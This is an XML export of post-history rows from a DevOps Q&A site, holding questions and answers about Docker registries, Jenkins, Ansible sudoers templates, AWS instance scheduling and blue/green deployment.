  <row Id="14826" PostHistoryTypeId="5" PostId="4731" RevisionGUID="54844b4e-5204-42cf-9cfb-7d84350a7313" CreationDate="2018-08-09T18:05:01.593" UserId="9191" Comment="added 180 characters in body" Text="I have found developing a new venture can actually be made EASIER by adopting the DevOps philosophy and practices.  After all, a small (1-2) person company does not have the resources (or luxury) to hire a developer, QA, operations and even customer service.&#xD;&#xA;&#xD;&#xA;So almost by necessity the early players will have to cover multiple roles, development and operations (features and releases) can be mapped directly to a &quot;DevOps&quot; styled business.&#xD;&#xA;&#xD;&#xA;That what I did with my previous micro-agency, we eventually became 2 full time (I mostly developer, my partner primarily ops backgrounds, but we started cross pollenating to hybrid ourselves :) and 3-4 regular contractors that would be called in as needed. Eventually we started also ongoing managing (operating) some projects for clients in addition to adding features.&#xD;&#xA;&#xD;&#xA;Though we did not use the term &quot;DevOps&quot; (I don't think I knew it existed at the time), we were focused on improving feature to deployment timeframe, and making the client experience as painless as possible.&#xD;&#xA;&#xD;&#xA;Also, a DevOps model may make it easier for people to take time off, since their role can be covered by somebody else!&#xD;&#xA;&#xD;&#xA;I am just now starting a venture (providing DevOps services) to small business.  &#xD;&#xA;&#xD;&#xA;So in a nutshell, not only do I think it is _possible_, but I believe it is the **BEST** way to start!&#xD;&#xA;&#xD;&#xA;Good Luck!" ContentLicense="CC BY-SA 4.0" />
  <row Id="14827" PostHistoryTypeId="2" PostId="4732" RevisionGUID="0ebfe280-0f4d-4964-8402-1ee44d99b9ab" CreationDate="2018-08-09T18:15:15.570" UserId="8544" Text="It depends on the artifact repository you are using but in general, you tag the artifacts in the repository to indicate their state.  This can specify it has passed some level of quality gate, some approval, or what ever is required to move through the stages.  &#xD;&#xA;&#xD;&#xA;I would say you tag the artifact as to it's state, not move between artifact repositories.  A single artifact repository can be used to hold the artifacts at multiple versions, and multiple states.  This provides a single audit point and a single way of controlling the deployment which can be very helpful.   &#xD;&#xA;&#xD;&#xA;With tagging of the artifacts you can be clear if they are ready for deployment, and if so to which environments.  The tags can be updated in multiple ways, but I would recommend automated processes, such as when an artifact is deployed, the artifact is tagged.  When it set of tests pass the end of that marks the artifact as ready.  If you have manual testing, that testing will be tracked in some tool or dashboard or approval process, when it is approved, that process should tag the artifact as ready to move on.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="14828" PostHistoryTypeId="34" PostId="4584" RevisionGUID="fb7b50ae-a4e3-4066-ae2e-1202d41bbb15" CreationDate="2018-08-09T19:01:32.940" UserId="-1" Comment="24" />
  <row Id="14833" PostHistoryTypeId="50" PostId="4482" RevisionGUID="18b5beea-976d-4003-a471-f44ad8e2c552" CreationDate="2018-08-09T23:00:52.893" UserId="-1" />
  <row Id="14834" PostHistoryTypeId="2" PostId="4734" RevisionGUID="a4174314-8a7f-450a-9eae-f5ceb45ed8b5" CreationDate="2018-08-10T00:03:52.610" UserId="3926" Text="I think the way to think about the pipeline is to have an automated system with decision points - gates - that require a human to approve. Your pipeline might have one or many of these gates. There should be people who watch the gates, e.g. QA people waiting for a new build, release management people deciding whether to deploy.&#xD;&#xA;&#xD;&#xA;The record of what the pipeline did should be logged somewhere. We are an Atlassian shop, and intend to use JIRA tickets with some special software at these gates. In general we record our DevOps work in JIRA tickets. There are lots of other ways to do the same thing, you could use GitHub, or Jenkins, or CircleCI or Google docs etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14835" PostHistoryTypeId="2" PostId="4735" RevisionGUID="f9234504-db31-4711-968a-88037f5750d9" CreationDate="2018-08-10T00:12:19.057" UserId="3926" Text="Assuming you are populating a tree of files to do a build, and some files come from Git and some from BitBucket, here are a few suggestions:&#xD;&#xA;&#xD;&#xA;-Use two Jenkins jobs, one triggered by another&#xD;&#xA;&#xD;&#xA;-Use a script run by a Jenkins job&#xD;&#xA;&#xD;&#xA;-Add a pull to your make or other build toolchain to include the outside library&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14836" PostHistoryTypeId="2" PostId="4736" RevisionGUID="d7a9298c-d7b5-4c5b-b62d-9acd18122271" CreationDate="2018-08-10T00:18:13.913" UserId="9202" Text="I'm looking for recommendations on which cloud service provider we should be looking at.&#xD;&#xA;&#xD;&#xA;The situation:&#xD;&#xA;&#xD;&#xA;I'm part of a small team looking to leverage more powerful analytics. Most of our day to day can be done on local machines but we want to explore using more powerful hardware through a cloud platform before committing to anything in house. As far as software we use Excel, MSSQL, and R, although these cloud instances only need to run R.&#xD;&#xA;&#xD;&#xA;Our ideal use case would be uploading data to the cloud, spinning up an instance to run whatever we need to run, then shutting down the instance while keeping the data and software (eg R packages) stored. This way (I think) we would only be charged for the storage while we aren't actively running a project.&#xD;&#xA;&#xD;&#xA;Additionally we'd like an auto shutdown feature where the computing instances are automatically shut down if they aren't used for a certain period of time or if that isn't possible, at a given time each day.&#xD;&#xA;&#xD;&#xA;We're really outside of our area of expertise here so user friendly is a big plus.&#xD;&#xA;&#xD;&#xA;Thanks in advance for any advice you can provide." ContentLicense="CC BY-SA 4.0" />
  <row Id="14837" PostHistoryTypeId="1" PostId="4736" RevisionGUID="d7a9298c-d7b5-4c5b-b62d-9acd18122271" CreationDate="2018-08-10T00:18:13.913" UserId="9202" Text="AWS or Azure with usage auto shutdown occasional usage" ContentLicense="CC BY-SA 4.0" />
  <row Id="14838" PostHistoryTypeId="3" PostId="4736" RevisionGUID="d7a9298c-d7b5-4c5b-b62d-9acd18122271" CreationDate="2018-08-10T00:18:13.913" UserId="9202" Text="&lt;amazon-web-services&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14839" PostHistoryTypeId="2" PostId="4737" RevisionGUID="ae52c5cc-9928-4567-8fc1-e7336e842e87" CreationDate="2018-08-10T00:39:25.700" UserId="8544" Text="There are reasons different parts of the environment might change at different frequencies.  One example might be a calendaring service, most large organizations have one, they provide information about the current day, if it is a holiday etc.   The calendaring service does not need to change frequently because it provides a stable function.  This calendaring service may be used by many different kinds of apps that also move at different speeds.   &#xD;&#xA;&#xD;&#xA;Multi speed exists because you need to deal with making changes that deliver value.  Many people indicate multi speed is to deal with the font end system of engagements and the systems of record.  Yes, generally user facing systems change more often because of the desire to update for the end users and experiment with different ways of presenting data to get the best value.  However, the systems of record may need to be changed as fast, in order to satisfy a new business requirement.   &#xD;&#xA;&#xD;&#xA;If all parts of the application are built using a pipeline with appropriate automated testing, and deployment, and their are ways to test independently but also test together, then any part can move as needed.  It is similar to the gears thought that the different parts move but need to be integrated such they you know they work together as they are deployed.  &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14840" PostHistoryTypeId="2" PostId="4738" RevisionGUID="52c744b7-5110-4f88-9c95-b75fbea540b9" CreationDate="2018-08-10T00:45:59.363" UserId="3926" Text="It sounds to me like you might get some good help by changing what you ask for. The tools that support Agile programming tick off many of these boxes. The Agile world is pretty mature, and it's unlikely you have a problem not encountered already. If you look at those tools, you'll see how they lay out kanban boards, and tickets, and software metrics, and visualizations. &#xD;&#xA;&#xD;&#xA;GitHub ( and probably GitLab) also have a lot of developer tools. I am using Grafana, but its definitely not an execution environment, nor is JIRA without a paid extension. But Jenkins can be used for many types of tasks to kickoff whatever. For your email, create some filters for Outlook, or start using Slack, even better." ContentLicense="CC BY-SA 4.0" />
  <row Id="14841" PostHistoryTypeId="2" PostId="4739" RevisionGUID="088c0749-2008-42b7-b2cf-f02de1d26097" CreationDate="2018-08-10T03:23:03.037" UserId="7146" Text="I want to build private docker hub. and I did it with:&#xD;&#xA;&#xD;&#xA;     docker run -it --restart=always -p 7901:5000   -v /data/registry:/tmp/registry registry /bash/bin&#xD;&#xA;&#xD;&#xA;And my disk informations as below:&#xD;&#xA;&#xD;&#xA;    [root@10-19-47-24 docker]# df -lh&#xD;&#xA;    Filesystem      Size  Used Avail Use% Mounted on&#xD;&#xA;    /dev/vda1        20G  4.4G   16G  22% /&#xD;&#xA;    devtmpfs        3.9G     0  3.9G   0% /dev&#xD;&#xA;    tmpfs           3.9G     0  3.9G   0% /dev/shm&#xD;&#xA;    tmpfs           3.9G  401M  3.5G  11% /run&#xD;&#xA;    tmpfs           3.9G     0  3.9G   0% /sys/fs/cgroup&#xD;&#xA;    /dev/vdb         60G  572M   60G   1% /data&#xD;&#xA;    tmpfs           783M     0  783M   0% /run/user/0&#xD;&#xA;    tmpfs           783M     0  783M   0% /run/user/1001&#xD;&#xA;    tmpfs           783M     0  783M   0% /run/user/1000&#xD;&#xA;    overlay          20G  4.4G   16G  22% /var/lib/docker/overlay2/9923f757c58c0792526f4cb32750401847f127b9e33c0dc78a29d7933bcde5bf/merged&#xD;&#xA;    shm              64M     0   64M   0% /var/lib/docker/containers/51959fbdc1663f968eff770d54c56bc04ddaba2c2d3623058c90a00f582fa40c/mounts/shm&#xD;&#xA;&#xD;&#xA;And my version of docker is:&#xD;&#xA;&#xD;&#xA;    [root@10-19-47-24 docker]# docker --version&#xD;&#xA;    Docker version 18.06.0-ce, build 0ffa825&#xD;&#xA;&#xD;&#xA;And I can push `hello-world` to the hub, but I can't see anything inside the `/data/registry`. My question is where is my registry? Is there any mistake of my command?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14842" PostHistoryTypeId="1" PostId="4739" RevisionGUID="088c0749-2008-42b7-b2cf-f02de1d26097" CreationDate="2018-08-10T03:23:03.037" UserId="7146" Text="why can't map local path to docker's inside?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14843" PostHistoryTypeId="3" PostId="4739" RevisionGUID="088c0749-2008-42b7-b2cf-f02de1d26097" CreationDate="2018-08-10T03:23:03.037" UserId="7146" Text="&lt;docker&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14844" PostHistoryTypeId="2" PostId="4740" RevisionGUID="7a5353d9-d084-479e-b97c-09440f38a84d" CreationDate="2018-08-10T06:25:57.073" UserId="7146" Text="Oh! I have search for a while, it's should be like:&#xD;&#xA;&#xD;&#xA;    docker run -d --name=ak_registry  --restart=always -p 7900:5000   -v /data/.docker:/var/lib/registry    registry&#xD;&#xA;&#xD;&#xA;Used `/var/lib/registry` instead of `/tmp/registry`" ContentLicense="CC BY-SA 4.0" />
  <row Id="14845" PostHistoryTypeId="2" PostId="4741" RevisionGUID="ff38b028-2998-4c63-99da-d08b64655d9c" CreationDate="2018-08-10T08:17:55.213" UserId="9207" Text="Please refer to bash initialization process.&#xD;&#xA;https://www.gnu.org/software/bash/manual/html_node/Bash-Startup-Files.html&#xD;&#xA;&#xD;&#xA;In your `Dockerfile`, at lines 12-14 you are patching files, but do not activate any of rbenvs.&#xD;&#xA;Later at your last `RUN` call, you finally ARE activating an rbenv. This starts pointing at that specific version of ruby (I thin this patches `root` files)&#xD;&#xA;At that point you have different global shell initialization files vs. user initialization files.&#xD;&#xA;&#xD;&#xA;Difference&#xD;&#xA;&#xD;&#xA; - entry point: &quot;non-login&quot; initialization process happens, then the file: `/root/.bashrc` is executed (a.k.a. &quot;sourced&quot;), it points to your cool ruby&#xD;&#xA; - `exec` of `ruby`: ruby executable is located using your default `PATH`. without running `/root/.bash*` files.&#xD;&#xA;&#xD;&#xA;To validate all this you can append printouts to your shell's initialization files, and see what gets printed upon 2 cases.&#xD;&#xA;&#xD;&#xA;Regards." ContentLicense="CC BY-SA 4.0" />
  <row Id="14848" PostHistoryTypeId="2" PostId="4742" RevisionGUID="23d460ea-84c4-427c-b359-4870990d8867" CreationDate="2018-08-10T08:27:54.167" UserId="9207" Text="Some bad news and some good news :)&#xD;&#xA;&#xD;&#xA;## Bad news:&#xD;&#xA;not a bug. this is a feature (default behaviour)&#xD;&#xA;&#xD;&#xA;I don't understand why this bug is still open, either regression, or miscommunication.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Good news:&#xD;&#xA;&#xD;&#xA;During setup of Global Shared Libraries jenkins allows to mark whether you should trigger user jobs upon changes in the library.&#xD;&#xA;And, you can also mark this during library usage in the job's groovy.&#xD;&#xA;&#xD;&#xA;Please refer to:&#xD;&#xA;&#xD;&#xA; - https://issues.jenkins-ci.org/browse/JENKINS-41497&#xD;&#xA; - https://stackoverflow.com/questions/46819344/jenkins-shared-groovy-library-git-merge-triggering-jobs&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14849" PostHistoryTypeId="2" PostId="4743" RevisionGUID="38072e0d-bfd7-4a10-921f-eea979535713" CreationDate="2018-08-10T08:46:07.133" UserId="9207" Text="Firstly, you should refer to jinja handling of spaces/newlines. your current template would create new lines, And I think this will confuse `sudo` and fail syntax validation (IIRC, the right syntax is to add `-` like: `-%}` at the for loop, but you should &quot;play&quot; and see what happens)&#xD;&#xA;To render a template you can do it on your workstation, without running it on actual target machine.&#xD;&#xA;&#xD;&#xA;Secondly,&#xD;&#xA;&#xD;&#xA;I do not recommend to edit existing global files with ansible.&#xD;&#xA;Instead create your custom file (can be even a template),&#xD;&#xA;and put it under `/etc/sudoers.d/`&#xD;&#xA;This is the right way to do it, because:&#xD;&#xA;&#xD;&#xA; - it will leave all defaults as is&#xD;&#xA; - your template will be far shorter&#xD;&#xA; - if you do mistakes, you would be sure where to look - in your template.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thirdly,&#xD;&#xA;I think executing &quot;which&quot; inside sudo is an original idea, but should not work&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14850" PostHistoryTypeId="5" PostId="4743" RevisionGUID="359b7358-0ccc-485d-a9f0-45490eee8aa5" CreationDate="2018-08-10T08:51:25.480" UserId="9207" Comment="added 17 characters in body" Text="## Firstly, &#xD;&#xA;you should refer to jinja handling of spaces/newlines. your current template would create new lines, And I think this will confuse `sudo` and fail syntax validation (IIRC, the right syntax is to add `-` like: `-%}` at the for loop, but you should &quot;play&quot; and see what happens)&#xD;&#xA;To render a template you can do it on your workstation, without running it on actual target machine.&#xD;&#xA;Also, I think creating the template with 1 command at instruction line is more readable:&#xD;&#xA;```&#xD;&#xA;{% for command in commands %}&#xD;&#xA;%{{group}} .... .... {{command}}&#xD;&#xA;{% endfor %}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Secondly,&#xD;&#xA;&#xD;&#xA;I do not recommend to edit existing global files with ansible.&#xD;&#xA;Instead create your custom template under `/etc/sudoers.d/` (like you've mentioned you saw).&#xD;&#xA;&#xD;&#xA;This is the right way to do it, because:&#xD;&#xA;&#xD;&#xA; - the system will have all defaults as is&#xD;&#xA; - your template will be far shorter&#xD;&#xA; - if you do mistakes, you would be sure where to look - in your template.&#xD;&#xA;&#xD;&#xA;## Thirdly,&#xD;&#xA;&#xD;&#xA;I think executing `which` inside `sudoers` is an original idea, but should not work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14851" PostHistoryTypeId="5" PostId="4743" RevisionGUID="97740e19-a590-4bd0-be1a-aab6e929514e" CreationDate="2018-08-10T08:56:39.413" UserId="9207" Comment="added 17 characters in body" Text="## Firstly, &#xD;&#xA;you should refer to jinja handling of spaces/newlines. your current template would create new lines, And I think this will confuse `sudo` and fail syntax validation (IIRC, the right syntax is to add `-` like: `-%}` at the for loop, but you should &quot;play&quot; and see what happens)&#xD;&#xA;To render a template you can do it on your workstation, without running it on actual target machine.&#xD;&#xA;Also, I think creating the template with 1 command at instruction line is more readable:&#xD;&#xA;```&#xD;&#xA;{% for command in commands %}&#xD;&#xA;%{{group}} ALL=(ALL) NOPASSWD: {{command}}&#xD;&#xA;{% endfor %}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Secondly,&#xD;&#xA;&#xD;&#xA;I do not recommend to edit existing global files with ansible.&#xD;&#xA;Instead create your custom template under `/etc/sudoers.d/` (like you've mentioned you saw).&#xD;&#xA;&#xD;&#xA;This is the right way to do it, because:&#xD;&#xA;&#xD;&#xA; - the system will have all defaults as is&#xD;&#xA; - your template will be far shorter&#xD;&#xA; - if you do mistakes, you would be sure where to look - in your template.&#xD;&#xA;&#xD;&#xA;## Thirdly,&#xD;&#xA;&#xD;&#xA;I think executing `which` inside `sudoers` is an original idea, but should not work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14852" PostHistoryTypeId="5" PostId="4671" RevisionGUID="8b98405b-29b7-48c8-8b11-e033ffb424a8" CreationDate="2018-08-10T15:13:51.560" UserId="6375" Comment="Format content" Text="In a Python app to run tests and publish the results into Zephyr in JIRA using the Zephyr/ JIRA API. It works fine not on a corporate network, but now they have switched to use their corporate network, and each API request returns a 404 for GET &amp; PUTs.&#xD;&#xA;&#xD;&#xA;In the Python app, I tried to set their proxy for the Python executable environment, but they still get the same error, like so:&#xD;&#xA;&#xD;&#xA;    proxy = 'put proxy here'&#xD;&#xA;	&#xD;&#xA;    os.environ['http_proxy'] = proxy&#xD;&#xA;    os.environ['https_proxy'] = proxy&#xD;&#xA;    os.environ['HTTP_PROXY'] = proxy&#xD;&#xA;    os.environ['HTTPS_PROXY'] = proxy&#xD;&#xA;&#xD;&#xA;The user has said they have exported their http &amp; https IP to get around the proxy, but still gets the same issue. &#xD;&#xA;&#xD;&#xA;Does anybody have any idea?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14853" PostHistoryTypeId="24" PostId="4671" RevisionGUID="8b98405b-29b7-48c8-8b11-e033ffb424a8" CreationDate="2018-08-10T15:13:51.560" Comment="Proposed by 6375 approved by -1 edit id of 748" ContentLicense="CC BY-SA 4.0" />
  <row Id="14854" PostHistoryTypeId="5" PostId="4671" RevisionGUID="0af3d3d2-9c4d-47f9-8631-7503860d2316" CreationDate="2018-08-10T15:13:51.560" UserId="40" Comment="edited body" Text="In a Python app we run tests and publish the results into Zephyr in JIRA using the Zephyr/ JIRA API. It works fine not on a corporate network, but now they have switched to use their corporate network, and each API request returns a 404 for GET &amp; PUTs.&#xD;&#xA;&#xD;&#xA;In the Python app, I tried to set their proxy for the Python executable environment, but they still get the same error, like so:&#xD;&#xA;&#xD;&#xA;    proxy = 'put proxy here'&#xD;&#xA;	&#xD;&#xA;    os.environ['http_proxy'] = proxy&#xD;&#xA;    os.environ['https_proxy'] = proxy&#xD;&#xA;    os.environ['HTTP_PROXY'] = proxy&#xD;&#xA;    os.environ['HTTPS_PROXY'] = proxy&#xD;&#xA;&#xD;&#xA;The user has said they have exported their http &amp; https IP to get around the proxy, but still gets the same issue. &#xD;&#xA;&#xD;&#xA;Does anybody have any idea?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14855" PostHistoryTypeId="5" PostId="4736" RevisionGUID="faf6d3bf-539d-4e60-b6b2-fae60aabfce3" CreationDate="2018-08-10T18:09:18.313" UserId="40" Comment="deleted 37 characters in body" Text="I'm looking for recommendations on which cloud service provider we should be looking at.&#xD;&#xA;&#xD;&#xA;The situation:&#xD;&#xA;&#xD;&#xA;I'm part of a small team looking to leverage more powerful analytics. Most of our day to day can be done on local machines but we want to explore using more powerful hardware through a cloud platform before committing to anything in house. As far as software we use Excel, MSSQL, and R, although these cloud instances only need to run R.&#xD;&#xA;&#xD;&#xA;Our ideal use case would be uploading data to the cloud, spinning up an instance to run whatever we need to run, then shutting down the instance while keeping the data and software (eg R packages) stored. This way (I think) we would only be charged for the storage while we aren't actively running a project.&#xD;&#xA;&#xD;&#xA;Additionally we'd like an auto shutdown feature where the computing instances are automatically shut down if they aren't used for a certain period of time or if that isn't possible, at a given time each day.&#xD;&#xA;&#xD;&#xA;We're really outside of our area of expertise here so user friendly is a big plus.&#xD;&#xA;&#xD;&#xA; Any advice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14856" PostHistoryTypeId="50" PostId="3602" RevisionGUID="cc01f2ed-6814-41fe-892e-d6023735df41" CreationDate="2018-08-10T19:02:36.157" UserId="-1" />
  <row Id="14857" PostHistoryTypeId="2" PostId="4744" RevisionGUID="7b2f4a55-2cc0-42b8-8870-d276d22bd0d6" CreationDate="2018-08-10T19:37:21.637" UserId="8691" Text="I can think of a few different ways to achieve this.&#xD;&#xA;&#xD;&#xA;1. First and easiest way is to create a new **CloudWatch Events Rule** [1], set its &quot;Event Source&quot; to run on a schedule and &quot;Target&quot; to EC2 StopInstances API call with Instance IDs provided. Look at this screenshot for clarity:&#xD;&#xA;&#xD;&#xA;[![Creating a CloudWatch Event][2]][2]&#xD;&#xA;&#xD;&#xA;With this example, An event will start at every night at midnight and it will stop Instances by their IDs. You can change the schedule with cron expressions. See: [https://crontab.guru][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. You can implement any kind of custom logic with [AWS Lambda functions][3] and schedule them to be run with [a variety of AWS services][4] (including CloudWatch Events). &#xD;&#xA;&#xD;&#xA;For example, with a Lambda function you can implement logic to find instances by a tag, like *&quot;GoodBefore=2018-08-10&quot;*, and stop these instances. In fact you could even make use of API Gateway to expose an API for requesting instances, only to be terminated after a few days by their *&quot;GoodBefore*&quot; tag.&#xD;&#xA;&#xD;&#xA;Of course, while this way is much more customizable and sophisticated, it may prove hard especially if you don't have experience in programming.&#xD;&#xA;&#xD;&#xA;3. If you don't want to implement custom logic with Lambda, but also need more than what CloudWatch Events can provide, you can make use of [Instance Scheduler][5] solution provided by AWS. It's a similar solution to what I described in previous method, but this time AWS already did the hard work for you.&#xD;&#xA;&#xD;&#xA;[1] URL for us-east-1 region: https://console.aws.amazon.com/cloudwatch/home?region=us-east-1#rules:action=create&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://crontab.guru&#xD;&#xA;  [2]: https://i.stack.imgur.com/XdQBL.png&#xD;&#xA;  [3]: https://docs.aws.amazon.com/lambda/latest/dg/welcome.html&#xD;&#xA;  [4]: https://docs.aws.amazon.com/lambda/latest/dg/invoking-lambda-function.html&#xD;&#xA;  [5]: https://aws.amazon.com/answers/infrastructure-management/instance-scheduler/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14861" PostHistoryTypeId="50" PostId="3542" RevisionGUID="626d46ec-1e11-43cf-a56d-607001a0fd0a" CreationDate="2018-08-10T22:00:00.580" UserId="-1" />
  <row Id="14866" PostHistoryTypeId="5" PostId="4675" RevisionGUID="fe9c875f-ae00-446c-963b-1392cda4330b" CreationDate="2018-08-11T04:50:39.630" UserId="739" Comment="capitalization" Text="I got the following setup with AWS code deploy:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;However it takes about 7 minutes from the moment I push a git branch remotely to the moment the deploy is completed. The time is broken down like so:&#xD;&#xA;&#xD;&#xA;- bitbucket deploy: 45 seconds&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;- provisioning a new EC2 instance: 3:40 minutes&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;- installing application on replacement instance: 40 seconds&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;- 2 minutes rerouting traffic from old instance to new one *this one is extremely long, if it were done manually it would literally take 10 seconds)&#xD;&#xA;&#xD;&#xA;- 17 seconds terminating second instance&#xD;&#xA;&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;All together it's around 7 minutes.&#xD;&#xA;&#xD;&#xA;How can I optimize this? I'm looking to shrink it to below 1 minute.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/v5r31.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/HzWfa.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/tzBgQ.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/ijLab.png&#xD;&#xA;  [5]: https://i.stack.imgur.com/egJl0.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="14867" PostHistoryTypeId="4" PostId="4675" RevisionGUID="fe9c875f-ae00-446c-963b-1392cda4330b" CreationDate="2018-08-11T04:50:39.630" UserId="739" Comment="capitalization" Text="How to optimize blue/green AWS deployments?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14868" PostHistoryTypeId="24" PostId="4675" RevisionGUID="fe9c875f-ae00-446c-963b-1392cda4330b" CreationDate="2018-08-11T04:50:39.630" Comment="Proposed by 739 approved by 40, 47 edit id of 745" ContentLicense="CC BY-SA 4.0" />
  <row Id="14869" PostHistoryTypeId="50" PostId="3856" RevisionGUID="77f7c31c-48e7-42f0-842e-5cce7ae820b4" CreationDate="2018-08-11T06:01:38.943" UserId="-1" />
  <row Id="14870" PostHistoryTypeId="50" PostId="4499" RevisionGUID="d7e8c7a9-c0a0-4a0c-b4e7-bafb3dc6954d" CreationDate="2018-08-11T08:00:00.487" UserId="-1" />
  <row Id="14871" PostHistoryTypeId="2" PostId="4745" RevisionGUID="64f85fcf-0cf4-47c6-a035-7cfc91b123cf" CreationDate="2018-08-11T09:04:58.677" UserId="2717" Text="Depending on the value of a faster deployment in your situation, some options are:&#xD;&#xA;&#xD;&#xA;- Maintain spare capacity in your ECS cluster (either larger instance types, or more smaller ones) to allow for side-by-side deployment of new versions of the service along with the old, so that new _tasks_ can be started without having to provision new _instances_. This obviously has a dollar cost, but again, depending on the value of rapid deployments to your organization, and the amount of deployments you expect to do per day, it might be worthwhile.&#xD;&#xA;&#xD;&#xA;- Use [multiple sets of target groups for optimal Blue-Green deployments][1]. This still requires extra cluster capacity, and extra work in your pipeline, but you can ensure that once tested, the replacement set of tasks all go live at once (and are fully tested).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/compute/bluegreen-deployments-with-amazon-ecs/" ContentLicense="CC BY-SA 4.0" />
  <row Id="14873" PostHistoryTypeId="50" PostId="3983" RevisionGUID="8c55dd14-07ae-4c89-8f95-c8497458e866" CreationDate="2018-08-11T13:01:15.737" UserId="-1" />
  <row Id="14874" PostHistoryTypeId="2" PostId="4747" RevisionGUID="1b76c546-e90b-4240-9f24-cb9e079713b7" CreationDate="2018-08-11T18:16:27.613" UserId="3926" Text="If you are in AWS, there is a very large native set of icons. Confluence has an imported drawing system (draw.io) that includes the AWS icons, it works but its a bit buggy. You can download the AWS icons. In Kubernetes there might be some new mapping tools. You can draw anything with FOSS Inkscape using imported icons. There are likely many other tools. At my shop developers just hack away at their own drawings and copy each other's style. &#xD;&#xA;&#xD;&#xA;However I think you were asking for a UML-type of graphical language for cloud representation. Wouldn't it be great to have a 3D system that shows network flows and security connections? A startup for Kubernetes would be a great idea. I think New Relic and/or Datadog have some ability to map network flows, too." ContentLicense="CC BY-SA 4.0" />
  <row Id="14875" PostHistoryTypeId="2" PostId="4748" RevisionGUID="374e671d-af26-4158-b55f-43758bd0937f" CreationDate="2018-08-11T19:05:28.097" UserId="3920" Text="Are there any plugins that would enable me to distribute system monitoring and reporting via Jenkins, if I provided it with data in a required format. E.g. I would like to write a simple script that would display the status of every server and maybe some metrics. If that runs, say every hour, and dumps data in an XML or CSV or whatever conventional format of the plugin, can I distribute reports with that data using Jenkins using a special plugin?&#xD;&#xA;&#xD;&#xA;I understand there are separate apps that do system monitoring but the fact of the matter I am trying to make Jenkins my one-stop-shop for what my less technical usership needs so, because I enabled them to run builds and deployments using Jenkins as they wish, I would prefer not to give them a different interface with a different login and other overhead." ContentLicense="CC BY-SA 4.0" />
  <row Id="14876" PostHistoryTypeId="1" PostId="4748" RevisionGUID="374e671d-af26-4158-b55f-43758bd0937f" CreationDate="2018-08-11T19:05:28.097" UserId="3920" Text="System monitoring and reporting with Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="14877" PostHistoryTypeId="3" PostId="4748" RevisionGUID="374e671d-af26-4158-b55f-43758bd0937f" CreationDate="2018-08-11T19:05:28.097" UserId="3920" Text="&lt;jenkins&gt;&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14886" PostHistoryTypeId="50" PostId="1654" RevisionGUID="cb397d99-d2ab-418f-b566-8713316732a7" CreationDate="2018-08-12T04:02:42.077" UserId="-1" />
  <row Id="14887" PostHistoryTypeId="5" PostId="1102" RevisionGUID="9335899b-6a01-4e80-81d4-05399bb8c279" CreationDate="2018-08-12T07:42:17.117" UserId="40" Comment="Integrate comments from OPer " Text="In my company we're having a bad time trying to download with the Artifactory plugin in Jenkins because we have a lot of tiny files in our repository and apparently the plugin works in a single thread, so it takes a REALLY long time. We tested the JFrog CLI where we can set the number of threads for the download and that actually works great. Still, we really need to use the original plugin.&#xD;&#xA;&#xD;&#xA;Is there any workaround for this? Maybe it has something to do with the Artifactory server configuration?&#xD;&#xA;&#xD;&#xA;**Note**: We have so many small files because that's how the development is being done in the company I'm afraid. We thought about archiving all the files before we store them but that would probably be non-economical in terms of storage, since every uploaded zip file would probably have a different checksum." ContentLicense="CC BY-SA 4.0" />
